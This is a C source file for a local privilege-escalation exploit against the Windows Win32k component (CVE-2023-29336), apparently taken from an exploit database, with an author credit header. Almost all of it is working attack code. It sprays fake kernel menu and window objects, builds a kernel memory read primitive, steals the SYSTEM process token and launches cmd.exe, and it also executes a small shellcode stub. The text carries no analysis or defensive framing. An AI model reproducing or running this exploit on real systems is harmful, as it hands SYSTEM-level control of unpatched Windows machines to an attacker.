# Exploit Title: Microsoft Windows Server 2016 - Win32k Elevation of Privilege # Date: 2025-05-19 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Country: United Kingdom # CVE : CVE-2023-29336 #include #include #include #define IDM_MYMENU 101 #define IDM_EXIT 102 #define IDM_DISABLE 0xf120 #define IDM_ENABLE 104 #define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440 #define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448 #define EPROCESS_TOKEN_OFFSET 0x4b8 typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT uIDEnableItem, UINT uEnable); typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2, unsigned __int64 a3, unsigned int a4); typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2); typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID, int nConsoleInformationLength); NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL; NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL; NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL; fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr; LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); int syytem(); typedef struct _SHELLCODE { DWORD reserved; DWORD pid; DWORD off_THREADINFO_ppi; DWORD off_EPROCESS_ActiveLink; DWORD off_EPROCESS_Token; BOOL bExploited; BYTE pfnWindProc[]; } SHELLCODE, * PSHELLCODE; struct tagMENU { ULONG64 field_0; ULONG64 field_8; ULONG64 field_10; ULONG64 field_18; ULONG64 field_20; PVOID obj28; DWORD field_30; DWORD flag1; DWORD flag2; DWORD cxMenu; DWORD cyMenu; ULONG64 field_48; PVOID rgItems; ULONG64 field_58; // + 0x58 ULONG64 field_60; ULONG64 field_68; ULONG64 field_70; ULONG64 field_78; ULONG64 field_80; ULONG64 field_88; ULONG64 field_90; PVOID ref; // + 0x98 }; struct MyData { BYTE name[0x96]; }; tagMENU* g_pFakeMenu = 0; static PSHELLCODE pvShellCode = NULL; HMENU hSystemMenu; HMENU hMenu; HMENU hSubMenu; HMENU hAddedSubMenu; HMENU hMenuB; PVOID MENU_add = 0; DWORD flag = 0; UINT iWindowCount = 0x100; HWND HWND_list[0x300]; HWND HWND_list1[0x20]; HMENU HMENUL_list[0x300]; int Hwnd_num = 0; int Hwnd_num1 = 0; ULONGLONG HWND_add = 0; ULONGLONG GS_off = 0; WORD max = 0; static PULONGLONG ptagWNDFake = NULL; static PULONGLONG ptagWNDFake1 = NULL; static PULONGLONG ptagWNDFake2 = NULL; static PULONGLONG GS_hanlde = NULL; static PULONGLONG HWND_class = NULL; struct ThreadParams { int threadId; int numLoops; }; static unsigned long long GetGsValue(unsigned long long gsValue) { return gsValue; } PVOID GetMenuHandle(HMENU menu_D) { int conut = 0; PVOID HANDLE = 0; PBYTE add = 0; WORD temp = 0; DWORD offset = 0xbd688; HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); ULONGLONG par1 = 0; DWORD par2 = 0; memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08); memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02); add = (PBYTE)(par1 + 0x18 * (WORD)menu_D); if (add) { HANDLE = *(PVOID*)add; } else { HANDLE = 0; } HANDLE= (PVOID*)((ULONGLONG)HANDLE - GS_off+0x20); return *(PVOID*)HANDLE; } PVOID xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde) { int conut = 0; PVOID HANDLE = 0; PBYTE add = 0; WORD temp = 0; DWORD offset = 0xbd688; HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); ULONGLONG par1 = 0; DWORD par2 = 0; memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08); memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02); temp = (ULONGLONG)menu_D >> 16; add = (PBYTE)(par1 + 0x18 * (WORD)menu_D); if (add) { HANDLE = *(PVOID*)add; } else { HANDLE = 0; } HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20); return *(PVOID*)HANDLE; } static VOID xxReallocPopupMenu(VOID) { for (INT i = 0; i < 0x8; i++) { WNDCLASSEXW Class = { 0 }; WCHAR szTemp[0x100] = { 0 }; HWND hwnd = NULL; wsprintfW(szTemp, L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d", i); Class.cbSize = sizeof(WNDCLASSEXA); Class.lpfnWndProc = DefWindowProcW; Class.cbWndExtra = 0; Class.hInstance = GetModuleHandleA(NULL); Class.lpszMenuName = NULL; Class.lpszClassName = szTemp; if (!RegisterClassExW(&Class)) { continue; } } } VOID createclass(VOID) { WCHAR szTemp[0x100] = { 0 }; for (INT i = 9; i < 29; i++) { WNDCLASSEXW Class = { 0 }; HWND hwnd = NULL; wsprintfW(szTemp, L"A@A%d", i); Class.cbSize = sizeof(WNDCLASSEXA); Class.lpfnWndProc = DefWindowProcW; Class.cbWndExtra = 0x20; Class.hInstance = GetModuleHandleA(NULL); Class.lpszMenuName = NULL; Class.lpszClassName = szTemp; Class.cbClsExtra = 0x1a0; if (!RegisterClassExW(&Class)) { continue; } } for (INT i = 9; i < 29; i++) { wsprintfW(szTemp, L"A@A%d", i); HWND_list1[i]=CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL,NULL, NULL, NULL); } } ULONG64 Read64(ULONG64 address) { MENUBARINFO mbi = { 0 }; mbi.cbSize = sizeof(MENUBARINFO); g_pFakeMenu->rgItems = PVOID(address - 0x48); GetMenuBarInfo(HWND_list[max+1], OBJID_MENU, 1, &mbi); return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32); } void exploit() { for (int i = 0; i < 0x20; i++) { ULONG64 pmenu = SetClassLongPtr(HWND_list1[i], 0x270, (LONG_PTR)g_pFakeMenu); if (pmenu != 0) { Hwnd_num = i; MENUBARINFO mbi = { 0 }; mbi.cbSize = sizeof(MENUBARINFO); } } // Token stealing ULONG64 p = Read64(HWND_add +0x250+ 0x10); // USER_THREADINFO p = Read64(p); //THREADINFO p = Read64(p + 0x220); // (PROCESSINFO) ULONG64 eprocess = p; printf("Current EPROCESS = %llx\n", eprocess); p = Read64(p + 0x2f0); do { p = Read64(p + 0x08); ULONG64 pid = Read64(p - 0x08); if (pid == 4) { ULONG64 pSystemToken = Read64(p + 0x68); printf("pSys/tem Token = %llx \n", pSystemToken); HWND_class = (PULONGLONG)((PBYTE)0x303000); HWND_class[8] = eprocess + 0x290; HWND_class[12] = 0x100; HWND_class[20] = 0x303010; ULONG64 ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 - 0xa0, (LONG_PTR)HWND_class); SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken); ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 - 0xa0, (LONG_PTR)ret_add); break; } } while (p != eprocess); syytem(); } void buildmem() { WORD max_handle = 0; pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pvShellCode == NULL) { return; } ZeroMemory(pvShellCode, 0x10000); ptagWNDFake = (PULONGLONG)((PBYTE)0x304140); ptagWNDFake[0] = (ULONGLONG)0x304140; ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10; ptagWNDFake[6] = (ULONGLONG)0x304140; ptagWNDFake[8] = 0x305300; ptagWNDFake[11] = (ULONGLONG)MENU_add; ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230; ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28; ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30; ptagWNDFake[71] = (ULONGLONG)0x000004; ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300); ptagWNDFake1[1] = (ULONGLONG)0x11; ptagWNDFake1[2] = (ULONGLONG)0x305320; ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000; ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000; ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120; ptagWNDFake1[14] = (ULONGLONG)0x306500; ptagWNDFake1[16] = (ULONGLONG)305400; ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500); ptagWNDFake1[11] = (ULONGLONG)0x306600; WNDCLASSEX WndClass = { 0 }; WndClass.cbSize = sizeof(WNDCLASSEX); WndClass.lpfnWndProc = DefWindowProc; WndClass.style = CS_VREDRAW | CS_HREDRAW; WndClass.cbWndExtra = 0xe0; WndClass.hInstance = NULL; WndClass.lpszMenuName = NULL; WndClass.lpszClassName = L"NormalClass"; RegisterClassEx(&WndClass); for (int i = 0; i < 0x200; i++) { HMENUL_list[i] = CreateMenu(); } for (int i = 0; i < 0x100; i++) { HWND_list[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL); } for (int i = 0; i < 0x100; i++) { SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000); SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000); } for (int i = 0x20; i < 0x60; i++) { if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01)- (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 - 1], 0x01)== 0x250) { if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 + 1], 0x01)-(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01) == 0x250) { HWND_add = (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i*2], 0x01); max = i * 2; break; } } if (i == 0x5f) { HWND_add = 0; } } ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120; DestroyWindow(HWND_list[max]); createclass(); // Create a fake spmenu PVOID hHeap = (PVOID)0x302000; g_pFakeMenu = (tagMENU*)(PVOID)0x302000; g_pFakeMenu->ref = (PVOID)0x302300; *(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu; // cItems = 1 g_pFakeMenu->obj28 = (PVOID)0x302200; *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1; // rgItems g_pFakeMenu->rgItems = (PVOID)0x304000; // cx / cy must > 0 g_pFakeMenu->flag1 = 1; g_pFakeMenu->flag2 = 1; g_pFakeMenu->cxMenu = 1; g_pFakeMenu->cyMenu = 1; // } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { ULONGLONG gsValue = 0; unsigned char shellcode[] = "\x65\x48\x8B\x04\x25\x30\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3"; LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (executableMemory == NULL) { return 1; } memcpy(executableMemory, shellcode, sizeof(shellcode)); gsValue = ((ULONGLONG(*)())executableMemory)(); gsValue = gsValue + 0x800; GS_hanlde = (PULONGLONG)(PBYTE)gsValue; GS_off = GS_hanlde[5]; char str[0xb8] = ""; memset(str, 0x41, 0xa8); g_NtUserEnableMenuItem = (NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserEnableMenuItem"); g_NtUserSetClassLongPtr = (NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserSetClassLongPtr"); g_NtUserCreateAcceleratorTable = (NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserCreateAcceleratorTable"); g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl"); WNDCLASS wc = { 0 }; wc.lpfnWndProc = WndProc; wc.hInstance = hInstance; wc.lpszClassName = TEXT("EnableMenuItem"); RegisterClass(&wc); HWND hWnd = CreateWindow( wc.lpszClassName, TEXT("EnableMenuItem"), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 400, 300, NULL, NULL, hInstance, NULL ); if (!hWnd) return FALSE; /// hSystemMenu = GetSystemMenu(hWnd, FALSE); hSubMenu = CreatePopupMenu(); MENU_add = GetMenuHandle(hSubMenu); hMenuB = CreateMenu(); buildmem(); if (HWND_add == 0) { return 0; } AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT("0")); AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT("1")); DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND); AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L"Menu A"); AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L"Menu B"); ShowWindow(hWnd, nCmdShow); UpdateWindow(hWnd); flag = 1; g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01); exploit(); MSG msg = { 0 }; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return (int)msg.wParam; } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_DESTROY: PostQuitMessage(0); return 0; case 0xae: switch (wParam) { case 0x1000: if (flag) { int itemCount = GetMenuItemCount(hMenuB); for (int i = itemCount - 1; i >= 0; i--) { RemoveMenu(hMenuB, i, MF_BYPOSITION); } DestroyMenu(hSubMenu); xxReallocPopupMenu(); } case 0x1001: if (flag) { int itemCount = GetMenuItemCount(hMenuB); for (int i = itemCount - 1; i >= 0; i--) { RemoveMenu(hMenuB, i, MF_BYPOSITION); } DestroyMenu(hSubMenu); xxReallocPopupMenu(); } return 0; } break; } return DefWindowProc(hWnd, message, wParam, lParam); } int syytem() { SECURITY_ATTRIBUTES sa; HANDLE hRead, hWrite; byte buf[40960] = { 0 }; STARTUPINFOW si; PROCESS_INFORMATION pi; DWORD bytesRead; RtlSecureZeroMemory(&si, sizeof(si)); RtlSecureZeroMemory(&pi, sizeof(pi)); RtlSecureZeroMemory(&sa, sizeof(sa)); int br = 0; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { return -3; } si.cb = sizeof(STARTUPINFO); GetStartupInfoW(&si); si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; si.lpDesktop = L"WinSta0\\Default"; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; wchar_t cmd[4096] = { L"cmd.exe" }; if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { CloseHandle(hWrite); CloseHandle(hRead); printf("[!] CreateProcessW Failed![%lx]\n", GetLastError()); return -2; } CloseHandle(hWrite); }